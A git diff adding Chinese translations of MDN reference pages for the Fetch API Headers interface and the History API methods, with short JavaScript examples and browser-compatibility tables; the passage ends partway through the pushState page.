get() 方法以 {{domxref("ByteString")}} 形式从Headers对象中返回指定header的全部值. 如果Header对象中不存在请求的header,则返回 null.

+ +
+

Note:出于安全原因, 部分头信息只能被用户代理控制. 这些头信息包括 {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  和 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.

+
+ +

Syntax

+ +
myHeaders.get(name);
+ +

Parameters

+ +
+
name
+
从Headers对象中检索的HTTP header 名,如果HTTP header中不存在指定header名则会抛出一个{{jsxref("TypeError")}}.
+
+ +

Returns

+ +

以 {{domxref("ByteString")}} 形式返回检索到的值.

+ +

Example

+ +

创建一个空的Headers对象:

+ +
var myHeaders = new Headers(); // Currently empty
+ +

可以通过get()方法来获取header中的值:

+ +
myHeaders.append('Content-Type', 'image/jpeg');
+myHeaders.get('Content-Type'); // Returns 'image/jpeg'
+
+ +

如果存在多个header值,那么只有第一个值会被返回:

+ +
myHeaders.append('Accept-Encoding', 'deflate');
+myHeaders.append('Accept-Encoding', 'gzip');
+myHeaders.get('Accept-Encoding'); // Returns "deflate,gzip"
+
+ +
+

Note: {{domxref("Headers.getAll")}} used to have this functionality, with {{domxref("Headers.get")}} returning only the first value added to the Headers object. The latest spec has removed getAll(), and updated get() to return all values.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-headers-get','get()')}}{{Spec2('Fetch')}}
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }}
+ {{ CompatChrome(41) }} behind pref
+  
{{ CompatGeckoDesktop(39)}}
+ 34 behind pref
{{ CompatNo }} +

29
+ 28 behind pref

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/headers/getall/index.html b/files/zh-cn/web/api/headers/getall/index.html new file mode 100644 index 0000000000..a9a2d22e59 --- /dev/null +++ b/files/zh-cn/web/api/headers/getall/index.html @@ -0,0 +1,134 @@ +--- +title: Headers.getAll() +slug: Web/API/Headers/getAll +translation_of: Web/API/Headers/getAll +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable() }}

+ +

getAll() 方法会以数组形式返回指定header的所有值. 如果指定的header未存在,则返回一个空数组.

+ +
+

Note:出于安全原因, 部分头信息只能被用户代理控制. 这些头信息包括 {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  和 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.

+
+ +

Syntax

+ +
myHeaders.getAll(name);
+ +

Parameters

+ +
+
name
+
需检索的HTTP header名称. 如果HTTP header中不存在指定名称则抛出一个 {{jsxref("TypeError")}}.
+
+ +

Returns

+ +

An {{domxref("Array")}} containing a {{domxref("ByteString")}} sequence representing the values of the retrieved header.

+ +

Example

+ +

Creating an empty Headers object is simple:

+ +
var myHeaders = new Headers(); // Currently empty
+ +

You could add a header to this using {{domxref("Headers.append")}}, then retrieve it using getAll():

+ +
myHeaders.append('Content-Type', 'image/jpeg');
+myHeaders.getAll('Content-Type'); // Returns [ "image/jpeg" ]
+
+ +

If the header has multiple values associated with it, the array will contain all the values, in the order they were added to the Headers object:

+ +
myHeaders.append('Accept-Encoding', 'deflate');
+myHeaders.append('Accept-Encoding', 'gzip');
+myHeaders.getAll('Accept-Encoding'); // Returns [ "deflate", "gzip" ]
+ +
+

Note: Use {{domxref("Headers.get")}} to return only the first value added to the Headers object.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-headers-getall','getAll()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }}
+ {{ CompatChrome(41) }} behind pref
+  
{{ CompatGeckoDesktop(39)}}
+ 34 behind pref
{{ CompatNo }} +

29
+ 28 behind pref

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/headers/has/index.html b/files/zh-cn/web/api/headers/has/index.html new file mode 100644 index 0000000000..471bd1fb90 --- /dev/null +++ b/files/zh-cn/web/api/headers/has/index.html @@ -0,0 +1,127 @@ +--- +title: Headers.has() +slug: Web/API/Headers/has +translation_of: Web/API/Headers/has +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Headers")}} 接口的 has()方法返回一个布尔值来声明一个 Headers对象 是否包含特定的头信息.

+ +

考虑到安全因素, 一些头信息只能被user agent来管理. 这些头信息包括{{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  和{{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.

+ +

Syntax

+ +
myHeaders.has(name);
+ +

Parameters

+ +
+
name
+
你要测试的HTTP头字段的名称。如果给出的名称不在HTTP头中,将爬出异常{{jsxref("TypeError")}}。
+
+ +

Returns

+ +

A {{domxref("Boolean")}}.

+ +

Example

+ +

创建一个空的Headers对象是简单的:

+ +
var myHeaders = new Headers(); // Currently empty
+ +

你可以使用{{domxref("Headers.append")}}来向myHeaders添加一个头信息, 然后使用 has()方法来测试是否添加成功:

+ +
myHeaders.append('Content-Type', 'image/jpeg');
+myHeaders.has('Content-Type'); // Returns true
+myHeaders.has('Accept-Encoding'); // Returns false
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-headers-has','has()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }}
+ {{ CompatChrome(41) }} behind pref
+  
{{CompatVersionUnknown}}{{ CompatGeckoDesktop(39)}}
+ 34 behind pref
{{ CompatNo }} +

29
+ 28 behind pref

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatVersionUnknown}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/headers/headers/index.html b/files/zh-cn/web/api/headers/headers/index.html new file mode 100644 index 0000000000..956904968d --- /dev/null +++ b/files/zh-cn/web/api/headers/headers/index.html @@ -0,0 +1,129 @@ +--- +title: Headers() +slug: Web/API/Headers/Headers +tags: + - Headers + - Headers构造函数 +translation_of: Web/API/Headers/Headers +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable() }}

+ +

使用Headers() 构造方法创建一个新的{{domxref("Headers")}} 对象.

+ +

Syntax

+ +
var myHeaders = new Headers(init);
+ +

Parameters

+ +
+
init {{optional_inline}}
+
通过一个包含任意 HTTP headers 的对象来预设你的 Headers. 可以是一个{{domxref("ByteString")}} 对象; 或者是一个已存在的 Headers 对象. 
+
+ +

Example

+ +

创建一个空的 Headers 对象:

+ +
var myHeaders = new Headers(); // Currently empty
+ +

你可以使用{{domxref("Headers.append")}}方法添加一个header并赋值:

+ +
myHeaders.append('Content-Type', 'image/jpeg');
+myHeaders.get('Content-Type'); // Returns 'image/jpeg'
+
+ +

或者你可以在Headers对象创建时添加多个header. 在下面的示例中我们创建了一个新的{{domxref("Headers")}} 对象, 并通过Headers构造函数中init属性来添加多个header:

+ +
var httpHeaders = { 'Content-Type' : 'image/jpeg', 'Accept-Charset' : 'utf-8', 'X-My-Custom-Header' : 'Zeke are cool' };
+var myHeaders = new Headers(httpHeaders);
+ +

你可以通过init属性将一个已存在的Headers对象来创建另一个新的Headers对象:

+ +
var secondHeadersObj = new Headers(myHeaders);
+secondHeadersObj.get('Content-Type'); // Would return 'image/jpeg' — it inherits it from the first headers object
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-headers','Headers()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }}
+ {{ CompatChrome(41) }} behind pref
+  
{{ CompatGeckoDesktop(39)}}
+ 34 behind pref
{{ CompatNo }} +

29
+ 28 behind pref

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/headers/index.html b/files/zh-cn/web/api/headers/index.html new file mode 100644 index 0000000000..75a7b51982 --- /dev/null +++ b/files/zh-cn/web/api/headers/index.html @@ -0,0 +1,185 @@ +--- +title: Headers +slug: Web/API/Headers +tags: + - Headers + - Headers API + - application/json + - 头信息 +translation_of: Web/API/Headers +--- +

{{ APIRef("Fetch") }}

+ +

Fetch API 的 Headers 接口允许您对HTTP请求和响应头执行各种操作。 这些操作包括检索,设置,添加和删除。 一个Headers对象具有关联的头列表,它最初为空,由零个或多个键值对组成。你可以使用 {{domxref("Headers.append","append()")}} 方法添加 之类的方法添加到此(参见 {{anch("Examples")}})。在该接口的所有方法中,标题名称由不区分大小写的字节序列匹配。

+ +

出于安全考虑,某些头只能由用户代理控制。这些头信息包括 {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  和 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}。

+ +

一个Headers对象也有一个关联的guard,它具有不可变的值,requestrequest-no-corsresponsenone。 这会影响 {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, 和{{domxref("Headers.append","append()")}} 方法 改变header. 参考更多信息,请看 {{Glossary("Guard")}}.

+ +

你可以通过 {{domxref("Request.headers")}} 和{{domxref("Response.headers")}} 属性检索一个Headers对象, 并使用 {{domxref("Headers.Headers()")}} 构造函数创建一个新的Headers 对象.

+ +

一个实现了Headers 的对象可以直接用于 {{jsxref("Statements/for...of", "for...of")}} 结构中, 而不是 {{domxref('Headers.entries()', 'entries()')}}: for (var p of myHeaders) 等价于 for (var p of myHeaders.entries()).

+ +
+

Note: 您可以通过阅读我们的 HTTP headers参考找到更多关于可用headers的信息。

+
+ +

构造函数

+ +
+
{{domxref("Headers.Headers()")}}
+
创建一个新的Headers对象.
+
+ +

方法

+ +
+
{{domxref("Headers.append()")}}
+
给现有的header添加一个值, 或者添加一个未存在的header并赋值.
+
{{domxref("Headers.delete()")}}
+
从Headers对象中删除指定header.
+
{{domxref("Headers.entries()")}}
+
以 {{jsxref("Iteration_protocols","迭代器")}} 的形式返回Headers对象中所有的键值对.
+
{{domxref("Headers.get()")}}
+
以 {{domxref("ByteString")}} 的形式从Headers对象中返回指定header的全部值.
+
{{domxref("Headers.has()")}}
+
以布尔值的形式从Headers对象中返回是否存在指定的header.
+
{{domxref("Headers.keys()")}}
+
以{{jsxref("Iteration_protocols", "迭代器")}}的形式返回Headers对象中所有存在的header名.
+
{{domxref("Headers.set()")}}
+
替换现有的header的值, 或者添加一个未存在的header并赋值.
+
{{domxref("Headers.values()")}}
+
以{{jsxref("Iteration_protocols", "迭代器")}}的形式返回Headers对象中所有存在的header的值.
+
+ +
+

Note: 值得注意的是,在header已存在或者有多个值的状态下{{domxref("Headers.set()")}} 和 {{domxref("Headers.append()")}}的使用有如下区别, {{domxref("Headers.set()")}} 将会用新的值覆盖已存在的值, 但是{{domxref("Headers.append()")}}会将新的值添加到已存在的值的队列末尾. 请参相关词条内的示例代码.

+
+ +
+

Note:如果您尝试传入名称不是有效的HTTP头名称的引用,则所有Headers方法都将引发 TypeError 。 如果头部有一个不变的{{Glossary("Guard")}},则变异操作将会抛出一个 TypeError 。 在其他任何失败的情况下,他们默默地失败。

+
+ +

Obsolete methods

+ +
+
{{domxref("Headers.getAll()")}}
+
用于返回具有给定名称的 Headers 对象中所有值的数组; 这个方法现在已经从规范中删除了,{{domxref("Headers.get()")}} 方法现在返回所有的值而不是一个。
+
+ +

范例

+ +

在这个小示例中, 我们将会通过Headers构造函数创建一个新的header, 先使用append()方法添加一个header, 然后通过get()方法返回这个header的值

+ +
let myHeaders = new Headers();
+
+myHeaders.append('Content-Type', 'text/xml');
+
+myHeaders.get('Content-Type');
+// should return 'text/xml'
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#headers-class','Headers')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }}
+ {{ CompatChrome(41) }} behind pref
+  
{{ CompatGeckoDesktop(39)}}
+ 34 behind pref
{{ CompatNo }} +

29
+ 28 behind pref

+
{{ CompatNo }}
entries(), keys(), values(), and support of for...of{{CompatUnknown}}{{ CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
entries(), keys(), values(), and support of for...of{{CompatUnknown}}{{ CompatGeckoMobile(44)}}2.5{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + + +

 

diff --git a/files/zh-cn/web/api/headers/keys/index.html b/files/zh-cn/web/api/headers/keys/index.html new file mode 100644 index 0000000000..add32d5afb --- /dev/null +++ b/files/zh-cn/web/api/headers/keys/index.html @@ -0,0 +1,60 @@ +--- +title: Headers.keys() +slug: Web/API/Headers/keys +translation_of: Web/API/Headers/keys +--- +
{{APIRef}}
+ +
Headers.keys() 方法返回一个 headers(Object) 对象所有 key 组成的迭代器,通过迭代器可以遍历 headers 这个对象,返回的迭代器中的元素 key 都是字符串。
+ +
+

注意: 这个方法在 Web Workers 也可以使用。

+
+ +

语法

+ +
headers.keys();
+ +

返回值

+ +

返回 headers 对象中所有 key 组成的迭代器 {{jsxref("Iteration_protocols","iterator")}}。

+ +

示例

+ +
// 创建一个 Headers 对象
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'text/xml');
+myHeaders.append('Vary', 'Accept-Language');
+
+// 显示 Headers 中所有的 key
+for(var key of myHeaders.keys()) {
+   console.log(key);
+}
+
+ +

控制台打印结果:

+ +
content-type
+vary
+ +

浏览器兼容

+ +
+ + + + +

{{Compat("api.Headers.keys")}}

+
+ +

相关链接

+ + + +

+ +

diff --git a/files/zh-cn/web/api/headers/set/index.html b/files/zh-cn/web/api/headers/set/index.html new file mode 100644 index 0000000000..fb6f477238 --- /dev/null +++ b/files/zh-cn/web/api/headers/set/index.html @@ -0,0 +1,80 @@ +--- +title: Headers.set() +slug: Web/API/Headers/set +translation_of: Web/API/Headers/set +--- +
{{APIRef("Fetch")}}
+ +

headers接口中 set() 方法在可以在已经声明中的headers对象修改已有的一组键值对或者创建一个新的键值对。

+ +

set() 方法和 append()方法不同的是声明的Headers对象是否已经存在对应的keys是否已经存在并且已经赋值。set() 方法将会覆盖之前的value,然而 append()方法只会在Headers对象的尾部添加一个新的键值对。

+ +

为了安全策略,一些 Headers对象中的键值对只能客户端去控制。这些key包括Forbidden response header name 和 Forbidden responese header names 。

+ +

语法

+ +
myHeaders.set(name, value);
+ +

参数

+ +
+
name
+
name就是需要对HTTP header 设置新值的key, 一般为字符串。如果设置的name 不是HTTP header规范里面规定的name,那么将会抛出错误"TypeError"。
+
value
+
 value 就是 name 对应的值。
+
+ +

返回

+ +

Void.

+ +

Example

+ +

创建一个新的 Headers 对象:

+ +
var myHeaders = new Headers(); // Currently empty
+ +

你可以用append()方法给Headers 对象增添一个新的键值对,然后用set()方法去改变这个键值对:

+ +
myHeaders.append('Content-Type', 'image/jpeg');
+myHeaders.set('Content-Type', 'text/html');
+
+ +

如果这个键值对不存在,那么set()方法首先创建一个键值对,然后给它赋值。如果这个键值对存在,那么set()方法将会覆盖之前的value值:

+ +
myHeaders.set('Accept-Encoding', 'deflate');
+myHeaders.set('Accept-Encoding', 'gzip');
+myHeaders.get('Accept-Encoding'); // Returns 'gzip'
+ +

如果你需要增加一个键值对,而不是要覆盖之前的键值对,那么你需要用append()方法。

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-headers-set','set()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Headers.set")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/headers/values/index.html b/files/zh-cn/web/api/headers/values/index.html new file mode 100644 index 0000000000..293957bd3d --- /dev/null +++ b/files/zh-cn/web/api/headers/values/index.html @@ -0,0 +1,54 @@ +--- +title: Headers.values() +slug: Web/API/Headers/values +translation_of: Web/API/Headers/values +--- +
{{APIRef}}
+ +

Headers.values()方法返回一个可迭代数值,通过这个数值可以遍历Headers中键值对的value值。返回的value都是ByteString对象。

+ +
+

注意: 这个方法可以在 Web Workers中使用。

+
+ +

语法

+ +
headers.values();
+ +

返回值

+ +

返回一个由键值对中value组成的数组。

+ +

例子

+ +
// Create a test Headers object
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'text/xml');
+myHeaders.append('Vary', 'Accept-Language');
+
+// Display the values
+for (var value of myHeaders.values()) {
+   console.log(value);
+}
+
+ +

返回值为:

+ +
text/xml
+Accept-Language
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Headers.values")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/history/back/index.html b/files/zh-cn/web/api/history/back/index.html new file mode 100644 index 0000000000..2bdafe4d06 --- /dev/null +++ b/files/zh-cn/web/api/history/back/index.html @@ -0,0 +1,59 @@ +--- +title: back() +slug: Web/API/History/back +tags: + - HTML5 + - History +translation_of: Web/API/History/back +--- +

{{APIRef("DOM")}}

+ +

back()方法会在会话历史记录中向后移动一页。如果没有上一页,则此方法调用不执行任何操作。

+ +

语法

+ +
window.history.back()
+ +

示例

+ +

下述简短示例使页面上的按钮导航页面至会话历史的后一项。

+ +

HTML

+ +
<button id="go-back">Go back!</button>
+ +

JavaScript

+ +
window.onload = function(e) {
+  document.getElementById('go-back').addEventListener('click', e => {
+    window.history.back();
+  })
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.History.back")}}

diff --git a/files/zh-cn/web/api/history/forward/index.html b/files/zh-cn/web/api/history/forward/index.html new file mode 100644 index 0000000000..c2baa8227d --- /dev/null +++ b/files/zh-cn/web/api/history/forward/index.html @@ -0,0 +1,58 @@ +--- +title: forward() +slug: Web/API/History/forward +tags: + - DOM + - HTML5 + - History +translation_of: Web/API/History/forward +--- +

在会话历史中向前移动一页。它与使用delta参数为1时调用 history.go(delta)的效果相同。

+ +

语法

+ +
window.history.forward();
+ +

示例

+ +

下述例子创建了一个按钮,该按钮会在会话历史中向前移动一步。

+ +

HTML

+ +
<button id='go-forward'>Go Forward!</button>
+ +

JavaScript

+ +
window.onload = function(e) {
+  document.getElementById('go-forward').addEventListener('click', e => {
+    window.history.forward();
+  })
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.History.forward")}}

diff --git a/files/zh-cn/web/api/history/go/index.html b/files/zh-cn/web/api/history/go/index.html new file mode 100644 index 0000000000..a6fe7b38a8 --- /dev/null +++ b/files/zh-cn/web/api/history/go/index.html @@ -0,0 +1,77 @@ +--- +title: go() +slug: Web/API/History/go +tags: + - History +translation_of: Web/API/History/go +--- +

go()方法从会话历史记录中加载特定页面。你可以使用它在历史记录中前后移动,具体取决于delta参数的值。

+ +

语法

+ +
window.history.go(delta);
+ +

参数

+ +
+
delta {{optional_inline}}
+
相对于当前页面你要去往历史页面的位置。负值表示向后移动,正值表示向前移动。因此,例如:history.go(2)向前移动两页,history.go(-2)则向后移动两页。如果未向该函数传参或delta相等于0,则该函数与调用location.reload()具有相同的效果。
+
+
+

译者注:

+ +

相等于0是采用宽松相等进行比较的。另外,JavaScript值古怪的隐式转换在这里也是可用的。

+
+
+
+ +

示例

+ +

向后移动一页(等价于调用back()):

+ +
window.history.go(-1)
+ +

向前移动一页,就像调用了forward()

+ +
window.history.go(1)
+ +

向前移动两页:

+ +
window.history.go(2);
+ +

向后移动两页:

+ +
window.history.go(-2);
+ +

最后,以下任意一条语句都会重新加载当前页面:

+ +
window.history.go();
+window.history.go(0);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.History.go")}}

diff --git a/files/zh-cn/web/api/history/index.html b/files/zh-cn/web/api/history/index.html new file mode 100644 index 0000000000..83b6c18d0e --- /dev/null +++ b/files/zh-cn/web/api/history/index.html @@ -0,0 +1,91 @@ +--- +title: History +slug: Web/API/History +translation_of: Web/API/History +--- +
{{ APIRef("HTML DOM") }}
+ +

History 接口允许操作浏览器的曾经在标签页或者框架里访问的会话历史记录。

+ +

属性

+ +

History 接口不继承于任何属性。

+ +
+
{{domxref("History.length")}} {{readOnlyInline}}
+
返回一个整数,该整数表示会话历史中元素的数目,包括当前加载的页。例如,在一个新的选项卡加载的一个页面中,这个属性返回1。
+
{{domxref("History.scrollRestoration")}} {{experimental_inline}}
+
允许Web应用程序在历史导航上显式地设置默认滚动恢复行为。此属性可以是自动的(auto)或者手动的(manual)。
+
{{domxref("History.state")}} {{readOnlyInline}} {{ gecko_minversion_inline("2.0") }}
+
返回一个表示历史堆栈顶部的状态的值。这是一种可以不必等待{{event("popstate")}} 事件而查看状态的方式。
+
+ +

方法

+ +

History接口不继承任何方法。

+ +
+
{{domxref("History.back()")}}
+
在浏览器历史记录里前往上一页, 用户可点击浏览器左上角的返回(译者注:←)按钮模拟此方法. 等价于 history.go(-1). +
Note: 当浏览器会话历史记录处于第一页时调用此方法没有效果,而且也不会报错。
+
+
{{domxref("History.forward()")}}
+
在浏览器历史记录里前往下一页,用户可点击浏览器左上角的前进(译者注:→)按钮模拟此方法. 等价于 history.go(1). +
Note: 当浏览器历史栈处于最顶端时( 当前页面处于最后一页时 )调用此方法没有效果也不报错。
+
+
{{domxref("History.go()")}}
+
通过当前页面的相对位置从浏览器历史记录( 会话记录 )加载页面。比如:参数为-1的时候为上一页,参数为1的时候为下一页. 当整数参数超出界限时( 译者注:原文为When integerDelta is out of bounds ),例如: 如果当前页为第一页,前面已经没有页面了,我传参的值为-1,那么这个方法没有任何效果也不会报错。调用没有参数的 go() 方法或者不是整数的参数时也没有效果。( 这点与支持字符串作为url参数的IE有点不同)。
+
{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}
+
按指定的名称和URL(如果提供该参数)将数据push进会话历史栈,数据被DOM进行不透明处理;你可以指定任何可以被序列化的javascript对象。注意到Firefox现在忽略了这个title参数,更多的信息,请看manipulating the browser history。 +
Note: 在 Gecko 2.0 {{ geckoRelease("2.0") }} 到 Gecko 5.0 {{ geckoRelease("5.0") }}中, 被传递的对象使用JSON进行序列化. 从 Gecko 6.0 {{ geckoRelease("6.0") }}开始,使用结构化克隆算法进行序列化。这样,就可以让更多类型的对象被安全地传输。
+
+
{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}
+
按指定的数据,名称和URL(如果提供该参数),更新历史栈上最新的入口。这个数据被DOM 进行了不透明处理。你可以指定任何可以被序列化的javascript对象。注意到Firefox现在忽略了这个title参数,更多的信息,请看manipulating the browser history。 +
Note: 在 Gecko 2.0 {{ geckoRelease("2.0") }} 到 Gecko 5.0 {{ geckoRelease("5.0") }} 中, the passed object is serialized using JSON. Starting in Gecko 6.0 {{ geckoRelease("6.0") }}, the object is serialized using the structured clone algorithm. This allows a wider variety of objects to be safely passed.
+
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + + + + + + +
说明状态评论
{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}{{Spec2('HTML WHATWG')}} +

添加scrollRestoration  属性.

+
{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}{{Spec2('HTML5 W3C')}}Initial definition.
{{SpecName('Custom Scroll Restoration', '#web-idl', "History")}}{{Spec2('Custom Scroll Restoration')}}添加scrollRestoration  属性.
+ +

浏览器兼容

+ + + +

{{Compat("api.History")}}

+ +
+ +

其他

+ + diff --git a/files/zh-cn/web/api/history/length/index.html b/files/zh-cn/web/api/history/length/index.html new file mode 100644 index 0000000000..bb713e6cb8 --- /dev/null +++ b/files/zh-cn/web/api/history/length/index.html @@ -0,0 +1,55 @@ +--- +title: History.length +slug: Web/API/History/length +translation_of: Web/API/History/length +--- +
{{ APIRef("HTML DOM") }}
+ +

History.length是一个只读属性,返回当前session中的history个数,包含当前页面在内。举个例子,对于新开一个tab加载的页面当前属性返回值1。

+ +

 

+ +

语法

+ +

 

+ +
length = history.length;
+
+ +

例子

+ +
var result = window.history.length; // 返回当前session中的history个数
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.History.length")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/history/pushstate/index.html b/files/zh-cn/web/api/history/pushstate/index.html new file mode 100644 index 0000000000..6612079f11 --- /dev/null +++ b/files/zh-cn/web/api/history/pushstate/index.html @@ -0,0 +1,91 @@ +--- +title: History.pushState() +slug: Web/API/History/pushState +tags: + - API + - History + - Location + - Web + - 会话 + - 历史 + - 参考 + - 方法 +translation_of: Web/API/History/pushState +--- +
History API
+ +

HTML 文档中,history.pushState() 方法向当前浏览器会话的历史堆栈中添加一个状态(state)。

+ +

语法

+ +
history.pushState(state, title[, url])
+ +

参数

+ +
+
state
+
状态对象是一个JavaScript对象,它与pushState()创建的新历史记录条目相关联。 每当用户导航到新状态时,都会触发{{event("popstate")}}事件,并且该事件的状态属性包含历史记录条目的状态对象的副本。
+
状态对象可以是任何可以序列化的对象。 因为Firefox将状态对象保存到用户的磁盘上,以便用户重新启动浏览器后可以将其还原,所以我们对状态对象的序列化表示施加了640k个字符的大小限制。 如果将序列化表示形式大于此状态的状态对象传递给pushState(),则该方法将引发异常。 如果您需要更多空间,建议您使用 {{domxref("Window.sessionStorage", "sessionStorage")}}或者{{domxref("Window.localStorage", "localStorage")}}。
+
title
+
当前大多数浏览器都忽略此参数,尽管将来可能会使用它。 在此处传递空字符串应该可以防止将来对方法的更改。 或者,您可以为要移动的州传递简短的标题。
+
url {{optional_inline}}
+
新历史记录条目的URL由此参数指定。 请注意,浏览器不会在调用pushState() 之后尝试加载此URL,但可能会稍后尝试加载URL,例如在用户重新启动浏览器之后。 新的URL不必是绝对的。 如果是相对的,则相对于当前URL进行解析。 新网址必须与当前网址相同 {{glossary("origin")}}; 否则,pushState()将引发异常。 如果未指定此参数,则将其设置为文档的当前URL。
+
+ +

描述

+ +

从某种程度来说, 调用 pushState() 和 window.location = "#foo"基本上一样, 他们都会在当前的document中创建和激活一个新的历史记录。但是 pushState() 有以下优势:

+ + + +

注意: pushState() 不会造成 {{event("hashchange")}} 事件调用, 即使新的URL和之前的URL只是锚的数据不同。

+ +

示例

+ +

以下代码通过设置statetitleurl创建一条新的历史记录。

+ +

JavaScript

+ +
